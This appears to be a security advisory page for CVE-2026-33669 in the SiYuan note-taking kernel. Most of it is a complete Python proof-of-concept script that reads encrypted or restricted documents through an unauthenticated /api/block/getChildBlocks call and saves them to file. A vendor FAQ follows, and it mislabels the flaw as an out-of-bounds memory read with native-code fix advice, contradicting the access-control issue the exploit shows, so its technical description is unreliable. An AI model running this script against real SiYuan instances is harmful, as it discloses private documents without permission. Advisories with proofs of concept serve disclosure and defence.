CVE-2026-33669

Details

Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.

PoC

#!/usr/bin/env python3
"""SiYuan /api/block/getChildBlocks 文档内容读取"""
import requests
import json
import sys

def get_child_blocks(target_url, doc_id):
    """
    调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
    """
    url = f"{target_url.rstrip('/')}/api/block/getChildBlocks"
    
    headers = {
        "Content-Type": "application/json"
    }
    
    data = {
        "id": doc_id
    }
    
    try:
        response = requests.post(url, json=data, headers=headers, timeout=10)
        response.raise_for_status()
        
        result = response.json()
        
        if result.get("code") != 0:
            print(f"[-] 请求失败: {result.get('msg', '未知错误')}")
            return None
        
        return result.get("data")
        
    except requests.exceptions.RequestException as e:
        print(f"[-] 网络请求失败: {e}")
        return None
    except json.JSONDecodeError as e:
        print(f"[-] JSON解析失败: {e}")
        return None

def format_block_content(block):
    """格式化块内容"""
    content = ""
    
    # 获取块内容
    if isinstance(block, dict):
        # 尝试多种可能的字段
        md = block.get("markdown", "") or block.get("content", "") or ""
        if md:
            content = md.strip()
    
    return content

def main():
    """主函数"""
    if len(sys.argv) > 1:
        target_url = sys.argv[1]
    else:
        target_url = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip()
        if not target_url:
            target_url = "http://localhost:6806"
    
    print(f"目标地址: {target_url}")
    print("=" * 50)
    
    while True:
        print("\n" + "=" * 50)
        doc_id = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip()
        
        if doc_id.lower() in ['quit', 'exit', 'q']:
            print("程序退出")
            break
        
        if not doc_id:
            print("[-] 文档ID不能为空")
            continue
        
        print(f"\n[*] 正在读取文档: {doc_id}")
        
        blocks = get_child_blocks(target_url, doc_id)
        
        if blocks is None:
            print("[-] 获取文档内容失败")
            continue
        
        if not blocks:
            print(f"[!] 文档 {doc_id} 没有子块或为空")
            continue
        
        print(f"[+] 成功获取 {len(blocks)} 个子块")
        print("-" * 50)
        
        # 保存所有块内容
        all_blocks_content = []
        
        for i, block in enumerate(blocks, 1):
            content = format_block_content(block)
            if content:
                print(content[:200] + ("..." if len(content) > 200 else ""))
                
                all_blocks_content.append({
                    "index": i,
                    "content": content,
                    "raw_block": block
                })
        
        # 询问是否保存到文件
        save_choice = input("\n是否保存到文件? (y/N): ").strip().lower()
        if save_choice in ['y', 'yes']:
            filename = f"doc_{doc_id}_blocks.json"
            try:
                with open(filename, "w", encoding="utf-8") as f:
                    json.dump({
                        "doc_id": doc_id,
                        "block_count": len(blocks),
                        "blocks": all_blocks_content
                    }, f, ensure_ascii=False, indent=2)
                print(f"[+] 已保存到: {filename}")
            except Exception as e:
                print(f"[-] 保存失败: {e}")
        
        print("-" * 50)

if __name__ == "__main__":
    main()

File reading: All encrypted or prohibited documents under the publishing service could be read.

A read operation accesses a memory location beyond the intended buffer boundary. Typical impact: sensitive data disclosure or crash.

CVE-2026-33669 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-33669? CVE-2026-33669 is a critical-severity out-of-bounds read vulnerability in github.com/siyuan-note/siyuan/kernel (go), affecting versions <= 0.0.0-20260317012524-fe4523fff2c8. No fixed version is listed yet. A read operation accesses a memory location beyond the intended buffer boundary.
2. How severe is CVE-2026-33669? CVE-2026-33669 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of github.com/siyuan-note/siyuan/kernel are affected by CVE-2026-33669? github.com/siyuan-note/siyuan/kernel (go) versions <= 0.0.0-20260317012524-fe4523fff2c8 is affected.
4. Is there a fix for CVE-2026-33669? No fixed version is listed for CVE-2026-33669 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-33669 exploitable, and should I be worried? Whether CVE-2026-33669 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-33669 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-33669? No fixed version is listed yet. In the interim: Keep the dependency up to date. In native-code projects, use bounds-checked APIs and run with address sanitizers.